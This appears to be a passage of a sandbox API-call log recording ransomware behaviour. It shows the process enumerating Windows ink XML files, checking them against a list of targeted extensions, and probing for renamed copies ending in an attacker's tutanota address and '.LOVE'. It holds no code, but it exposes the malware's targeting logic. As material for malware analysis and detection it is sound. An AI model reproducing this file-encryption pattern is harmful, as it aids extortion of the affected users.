lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.472] lstrlenW (lpString=".docx") returned 5 [0200.472] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.472] lstrlenW (lpString=".pdf") returned 4 [0200.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.472] lstrlenW (lpString=".xls") returned 4 [0200.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.472] lstrlenW (lpString=".xlsx") returned 5 [0200.472] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.472] lstrlenW (lpString=".ppt") returned 4 [0200.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString=".zip") returned 4 [0200.473] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.473] lstrlenW (lpString=".rar") returned 4 [0200.473] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString=".bz2") returned 4 [0200.473] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString=".7z") returned 3 [0200.473] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString=".dbf") returned 4 [0200.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString=".1cd") returned 4 [0200.473] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString=".jpg") returned 4 [0200.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.473] lstrlenW (lpString=".doc") returned 4 [0200.473] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.473] lstrlenW (lpString=".docx") returned 5 [0200.474] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.474] lstrlenW (lpString=".pdf") returned 4 [0200.474] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString=".xls") returned 4 [0200.474] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString=".xlsx") returned 5 [0200.474] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.474] lstrlenW (lpString=".ppt") returned 4 [0200.474] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.474] lstrlenW (lpString=".zip") returned 4 [0200.474] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.474] lstrlenW (lpString=".rar") returned 4 [0200.474] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString=".bz2") returned 4 [0200.474] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString=".7z") returned 3 [0200.474] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.474] lstrlenW (lpString=".dbf") returned 4 [0200.474] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.474] lstrlenW (lpString=".1cd") returned 4 [0200.474] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.474] lstrlenW (lpString=".jpg") returned 4 [0200.474] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.475] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.475] lstrlenW (lpString="zh-changjei.xml") returned 15 [0200.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.658] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=9803) returned 1 [0201.658] CloseHandle (hObject=0x328) returned 1 [0201.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0201.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.662] lstrlenW (lpString=".doc") returned 4 [0201.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString=".docx") returned 5 [0201.662] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.662] lstrlenW (lpString=".pdf") returned 4 [0201.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString=".xls") returned 4 [0201.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString=".xlsx") returned 5 [0201.662] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.662] lstrlenW (lpString=".ppt") returned 4 [0201.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.662] lstrlenW (lpString=".zip") returned 4 [0201.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.662] lstrlenW (lpString=".rar") returned 4 [0201.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString=".bz2") returned 4 [0201.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.662] lstrlenW (lpString=".7z") returned 3 [0201.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString=".dbf") returned 4 [0201.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString=".1cd") returned 4 [0201.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString=".jpg") returned 4 [0201.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString=".doc") returned 4 [0201.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString=".docx") returned 5 [0201.663] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.663] lstrlenW (lpString=".pdf") returned 4 [0201.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString=".xls") returned 4 [0201.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString=".xlsx") returned 5 [0201.663] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.663] lstrlenW (lpString=".ppt") returned 4 [0201.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.663] lstrlenW (lpString=".zip") returned 4 [0201.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.663] lstrlenW (lpString=".rar") returned 4 [0201.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString=".bz2") returned 4 [0201.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.663] lstrlenW (lpString=".7z") returned 3 [0201.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.664] lstrlenW (lpString=".dbf") returned 4 [0201.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.664] lstrlenW (lpString=".1cd") returned 4 [0201.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.664] lstrlenW (lpString=".jpg") returned 4 [0201.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.664] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.664] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0201.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.666] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1853) returned 1 [0201.666] CloseHandle (hObject=0x328) returned 1 [0201.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0201.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.666] lstrlenW (lpString=".doc") returned 4 [0201.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.666] lstrlenW (lpString=".docx") returned 5 [0201.666] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.666] lstrlenW (lpString=".pdf") returned 4 [0201.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.666] lstrlenW (lpString=".xls") returned 4 [0201.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.666] lstrlenW (lpString=".xlsx") returned 5 [0201.667] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.667] lstrlenW (lpString=".ppt") returned 4 [0201.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString=".zip") returned 4 [0201.667] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.667] lstrlenW (lpString=".rar") returned 4 [0201.667] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString=".bz2") returned 4 [0201.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString=".7z") returned 3 [0201.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString=".dbf") returned 4 [0201.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString=".1cd") returned 4 [0201.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString=".jpg") returned 4 [0201.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.667] lstrlenW (lpString=".doc") returned 4 [0201.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString=".docx") returned 5 [0201.667] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.667] lstrlenW (lpString=".pdf") returned 4 [0201.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.667] lstrlenW (lpString=".xls") returned 4 [0201.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString=".xlsx") returned 5 [0201.668] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.668] lstrlenW (lpString=".ppt") returned 4 [0201.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.668] lstrlenW (lpString=".zip") returned 4 [0201.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.668] lstrlenW (lpString=".rar") returned 4 [0201.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString=".bz2") returned 4 [0201.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString=".7z") returned 3 [0201.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.668] lstrlenW (lpString=".dbf") returned 4 [0201.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.668] lstrlenW (lpString=".1cd") returned 4 [0201.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0201.668] lstrlenW (lpString=".jpg") returned 4 [0201.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.669] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.669] lstrlenW (lpString="oskpredbase.xml") returned 15 [0201.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.669] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=924) returned 1 [0201.669] CloseHandle (hObject=0x328) returned 1 [0201.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0201.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.670] lstrlenW (lpString=".doc") returned 4 [0201.670] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString=".docx") returned 5 [0201.670] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.670] lstrlenW (lpString=".pdf") returned 4 [0201.670] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString=".xls") returned 4 [0201.670] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString=".xlsx") returned 5 [0201.670] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.670] lstrlenW (lpString=".ppt") returned 4 [0201.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.670] lstrlenW (lpString=".zip") returned 4 [0201.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.670] lstrlenW (lpString=".rar") returned 4 [0201.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString=".bz2") returned 4 [0201.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString=".7z") returned 3 [0201.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.670] lstrlenW (lpString=".dbf") returned 4 [0201.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.670] lstrlenW (lpString=".1cd") returned 4 [0201.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString=".jpg") returned 4 [0201.671] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString=".doc") returned 4 [0201.671] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString=".docx") returned 5 [0201.671] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.671] lstrlenW (lpString=".pdf") returned 4 [0201.671] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString=".xls") returned 4 [0201.671] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString=".xlsx") returned 5 [0201.671] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.671] lstrlenW (lpString=".ppt") returned 4 [0201.671] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString=".zip") returned 4 [0201.671] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.671] lstrlenW (lpString=".rar") returned 4 [0201.671] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString=".bz2") returned 4 [0201.671] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString=".7z") returned 3 [0201.671] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString=".dbf") returned 4 [0201.671] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.671] lstrlenW (lpString=".1cd") returned 4 [0201.671] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0201.672] lstrlenW (lpString=".jpg") returned 4 [0201.672] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.672] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.672] lstrlenW (lpString="oskpred.xml") returned 11 [0201.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.672] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=215) returned 1 [0201.673] CloseHandle (hObject=0x328) returned 1 [0201.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0201.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.674] lstrlenW (lpString=".doc") returned 4 [0201.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.674] lstrlenW (lpString=".docx") returned 5 [0201.674] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0201.674] lstrlenW (lpString=".pdf") returned 4 [0201.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.674] lstrlenW (lpString=".xls") returned 4 [0201.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.674] lstrlenW (lpString=".xlsx") returned 5 [0201.674] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0201.674] lstrlenW (lpString=".ppt") returned 4 [0201.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString=".zip") returned 4 [0201.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.675] lstrlenW (lpString=".rar") returned 4 [0201.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString=".bz2") returned 4 [0201.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString=".7z") returned 3 [0201.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString=".dbf") returned 4 [0201.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0201.675] lstrlenW (lpString=".1cd") returned 4 [0201.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 